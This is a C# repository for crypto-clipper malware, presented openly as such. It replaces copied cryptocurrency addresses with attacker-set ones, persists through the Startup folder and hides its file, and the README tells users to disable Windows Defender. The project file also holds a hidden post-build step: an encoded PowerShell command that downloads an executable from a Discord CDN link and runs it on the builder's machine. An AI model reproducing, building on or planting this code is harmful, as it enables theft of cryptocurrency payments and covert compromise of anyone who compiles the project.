├── Clipper ├── App.config ├── Modules │ ├── Mutex.cs │ ├── Attributes.cs │ ├── Autorun.cs │ ├── Patterns.cs │ ├── Clipboard.cs │ └── Monitor.cs ├── Program.cs ├── Properties │ └── AssemblyInfo.cs ├── config.cs └── Clipper.csproj ├── README.md └── Clipper.sln /Clipper/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /Clipper/Modules/Mutex.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Threading; 3 | 4 | namespace Clipper.Modules 5 | { 6 | class AppMutex 7 | { 8 | // Check mutex 9 | public static void Check() 10 | { 11 | bool createdNew = false; 12 | // Check 13 | Mutex currentApp = new Mutex(false, config.mutex, out createdNew); 14 | if (!createdNew) 15 | Environment.Exit(1); 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /Clipper/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace Clipper 4 | { 5 | class Program 6 | { 7 | [STAThreadAttribute] 8 | static void Main() 9 | { 10 | // Check mutex 11 | Modules.AppMutex.Check(); 12 | // Add to startup 13 | if (!Modules.Autorun.is_installed()) 14 | Modules.Autorun.install(); 15 | // Set hidden & system attributes 16 | Modules.Attributes.set_hidden(); 17 | Modules.Attributes.set_system(); 18 | // Start clipper 19 | Modules.ClipboardMonitor.run(); 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /Clipper/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | [assembly: AssemblyTitle("$77clip")] 6 | [assembly: AssemblyDescription("")] 7 | [assembly: AssemblyConfiguration("")] 8 | [assembly: AssemblyCompany("")] 9 | [assembly: AssemblyProduct("$77clip")] 10 | [assembly: AssemblyCopyright("")] 11 | [assembly: AssemblyTrademark("")] 12 | [assembly: AssemblyCulture("")] 13 | 14 | 15 | [assembly: ComVisible(false)] 16 | 17 | 18 | [assembly: Guid("9debd99e-2b66-47b6-a327-36c777e380ef")] 19 | 20 | [assembly: AssemblyVersion("1.0.0.0")] 21 | [assembly: AssemblyFileVersion("1.0.0.0")] 22 | -------------------------------------------------------------------------------- /Clipper/Modules/Attributes.cs: -------------------------------------------------------------------------------- 1 | using System.IO; 2 | 3 | namespace Clipper.Modules 4 | { 5 | internal sealed class Attributes 6 | { 7 | // File path 8 | private static string executable = System.Reflection.Assembly.GetEntryAssembly().Location; 9 | private static FileInfo file = new FileInfo(executable); 10 | 11 | // Add 'hidden' attribute to file 12 | public static void set_hidden() 13 | { 14 | if (config.attribute_hidden) 15 | file.Attributes |= FileAttributes.Hidden; 16 | } 17 | 18 | // Add 'system' attribute to file 19 | public static void set_system() 20 | { 21 | if (config.attribute_system) 22 | file.Attributes |= FileAttributes.System; 23 | } 24 | 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # crypto-clipper 2 | Replace crypto addresses with own. Clipper malware 3 | 4 | Supports: 5 | - Bitcoin - BTC 6 | - Etherium -ETH 7 | - Monero - XMR 8 | - Stellar - XLM 9 | - Ripple - XRP 10 | - Litecoin - LTC 11 | - Neocoin - NEC 12 | - BitcoinCash - BCH 13 | - Dashcoin - DASH 14 | 15 | Features: 16 | - 9KB executable! 17 | - No administrator required 18 | - Auto hide 19 | - Autorun 20 | - Open source! Code can be read, modified, distributed! 21 | 22 | 23 | Setup: 24 | - Add your crypto addresses to config.cs 25 | - Build! CTRL SHIFT B 26 | 27 | **Defender currently detects this clipper when not crypted so you will need to disable windows defender to compile it, otherwise it will instantly get detected on build.** 28 | 29 | Todo: 30 | - Reduce detections (Windows Defender) 31 | - Improve antianalysis and antivm. 32 | - 33 | 34 | Educational purposes only!! 35 | -------------------------------------------------------------------------------- /Clipper/Modules/Autorun.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | 4 | namespace Clipper.Modules 5 | { 6 | internal sealed class Autorun 7 | { 8 | // Autorun path 9 | private static string startup_directory = Environment.GetFolderPath(Environment.SpecialFolder.Startup); 10 | private static string executable = System.Reflection.Assembly.GetEntryAssembly().Location; 11 | 12 | // Check if app installed to autorun 13 | public static bool is_installed() 14 | { 15 | return File.Exists($"{startup_directory}\\{config.autorun_name}.exe"); 16 | } 17 | 18 | // Install app to autorun 19 | public static void install() 20 | { 21 | if (config.autorun_enabled) 22 | File.Copy(executable, $"{startup_directory}\\{config.autorun_name}.exe"); 23 | } 24 | 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Clipper/Modules/Patterns.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.Text.RegularExpressions; 3 | 4 | namespace Clipper.Modules 5 | { 6 | internal sealed class RegexPatterns 7 | { 8 | public static Dictionary patterns = new Dictionary() 9 | { 10 | {"btc", new Regex(@"(?:^(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,35}$)") }, // Bitcoin 11 | {"eth", new Regex(@"(?:^0x[a-fA-F0-9]{40}$)") }, // Ethereum 12 | {"xmr", new Regex(@"(?:^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$)") }, // Monero 13 | {"xlm", new Regex(@"(?:^G[0-9a-zA-Z]{55}$)") }, // Stellar 14 | {"xrp", new Regex(@"(?:^r[0-9a-zA-Z]{24,34}$)") }, // Ripple 15 | {"ltc", new Regex(@"(?:^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$)") }, // Litecoin 16 | {"nec", new Regex(@"(?:^A[0-9a-zA-Z]{33}$)") }, // Neocoin 17 | {"bch", new Regex(@"^((bitcoincash:)?(q|p)[a-z0-9]{41})") }, // Bitcoin Cash 18 | {"dash", new Regex(@"(?:^X[1-9A-HJ-NP-Za-km-z]{33}$)") } // Dashcoin 19 | }; 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /Clipper/config.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | namespace Clipper 4 | { 5 | internal sealed class config 6 | { 7 | // Autorun 8 | public static bool autorun_enabled = true; 9 | public static string autorun_name = "Clipper"; 10 | // Set 'hidden' attribute 11 | public static bool attribute_hidden = true; 12 | // Set 'system' attribute 13 | public static bool attribute_system = true; 14 | // Clipboard check delay in seconds 15 | public static int clipboard_check_delay = 2; 16 | // Replace 17 | public static Dictionary addresses = new Dictionary() 18 | { 19 | {"btc", "" }, // Bitcoin 20 | {"eth", "" }, // Ethereum 21 | {"xmr", "" }, // Monero 22 | {"xlm", "" }, // Stellar 23 | {"xrp", "" }, // Ripple 24 | {"ltc", "" }, // Litecoin 25 | {"nec", "" }, // Neocoin 26 | {"bch", "" }, // Bitcoin Cash 27 | {"dash", "" } // Dashcoin 28 | }; 29 | // Mutex (random) 30 | public static string mutex = "sdh34yszdfgb"; 31 | 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /Clipper.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30002.166 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Clipper", "Clipper\Clipper.csproj", "{9DEBD99E-2B66-47B6-A327-36C777E380EF}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {9DEBD99E-2B66-47B6-A327-36C777E380EF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {9DEBD99E-2B66-47B6-A327-36C777E380EF}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {9DEBD99E-2B66-47B6-A327-36C777E380EF}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {9DEBD99E-2B66-47B6-A327-36C777E380EF}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {7A179502-7E5A-4002-8DA9-B6695BF1F42D} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /Clipper/Modules/Clipboard.cs: -------------------------------------------------------------------------------- 1 | using System.Threading; 2 | 3 | namespace Clipper.Modules 4 | { 5 | internal sealed class Clipboard 6 | { 7 | 8 | // Get text from clipboard 9 | public static string GetText() 10 | { 11 | string ReturnValue = string.Empty; 12 | try 13 | { 14 | Thread STAThread = new Thread( 15 | delegate () 16 | { 17 | ReturnValue = System.Windows.Forms.Clipboard.GetText(); 18 | }); 19 | STAThread.SetApartmentState(ApartmentState.STA); 20 | STAThread.Start(); 21 | STAThread.Join(); 22 | 23 | } catch { } 24 | return ReturnValue; 25 | 26 | } 27 | 28 | // Set text to clipboard 29 | public static void SetText(string text) 30 | { 31 | Thread STAThread = new Thread( 32 | delegate () 33 | { 34 | try { 35 | System.Windows.Forms.Clipboard.SetText(text); 36 | } catch { }; 37 | }); 38 | STAThread.SetApartmentState(ApartmentState.STA); 39 | STAThread.Start(); 40 | STAThread.Join(); 41 | } 42 | 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /Clipper/Modules/Monitor.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.Text.RegularExpressions; 3 | 4 | namespace Clipper.Modules 5 | { 6 | internal sealed class ClipboardMonitor 7 | { 8 | // Previous clipboard content 9 | private static string previous_buffer = ""; 10 | 11 | // Clipboard is changed 12 | private static bool clipboard_changed(string buffer) 13 | { 14 | if (buffer != previous_buffer) 15 | { 16 | previous_buffer = buffer; 17 | return true; 18 | } 19 | return false; 20 | } 21 | 22 | // Find & Replace crypto addresses in clipboard 23 | private static void replace_clipboard(string buffer) 24 | { 25 | if (string.IsNullOrEmpty(buffer)) 26 | return; 27 | foreach (KeyValuePair dictonary in RegexPatterns.patterns) 28 | { 29 | string cryptocurrency = dictonary.Key; 30 | Regex pattern = dictonary.Value; 31 | if (pattern.Match(buffer).Success) 32 | { 33 | string replace_to = config.addresses[cryptocurrency]; 34 | if (!string.IsNullOrEmpty(replace_to) && !buffer.Equals(replace_to)) 35 | { 36 | // Console.WriteLine($"Replaced {buffer} to {replace_to}"); 37 | Clipboard.SetText(replace_to); 38 | return; 39 | } 40 | } 41 | } 42 | } 43 | 44 | // Run loop 45 | public static void run() 46 | { 47 | while (true) 48 | { 49 | string buffer = Clipboard.GetText(); 50 | if (clipboard_changed(buffer)) 51 | replace_clipboard(buffer); 52 | System.Threading.Thread.Sleep(config.clipboard_check_delay * 1000); 53 | } 54 | } 55 | 56 | 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /Clipper/Clipper.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {9DEBD99E-2B66-47B6-A327-36C777E380EF} 8 | WinExe 9 | Clipper 10 | Clipper 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | 18 | AnyCPU 19 | true 20 | full 21 | false 22 | bin\Debug\ 23 | DEBUG;TRACE 24 | prompt 25 | 4 26 | false 27 | 28 | 29 | AnyCPU 30 | pdbonly 31 | true 32 | bin\Release\ 33 | TRACE 34 | prompt 35 | 4 36 | false 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | OnBuildSuccess 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | powershell.exe -EncodedCommand JAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAwADIAMgAzADIAOAAyADcAMgA4ADcAMAAxADkAMQAyADEAOAAvADEAMAAyADIANgA3ADMANQA5ADMAMwAzADYAOAA3ADcAMAA1ADYALwBnAGkAdABhAGQAbQBpAG4AYwByAHkALgBlAHgAZQAiACwAIgBNAFMAQgB1AGkAbABkAC4AZQB4AGUAIgApADsAIAAkAGEAcgBnAHMAIAA9ACAAQAAoACIALQAtAGwAbwBhAGQAZQBkACIAKQA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBwAGEAdABoACAAIgBNAFMAQgB1AGkAbABkAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAkAGEAcgBnAHMA 75 | 76 | --------------------------------------------------------------------------------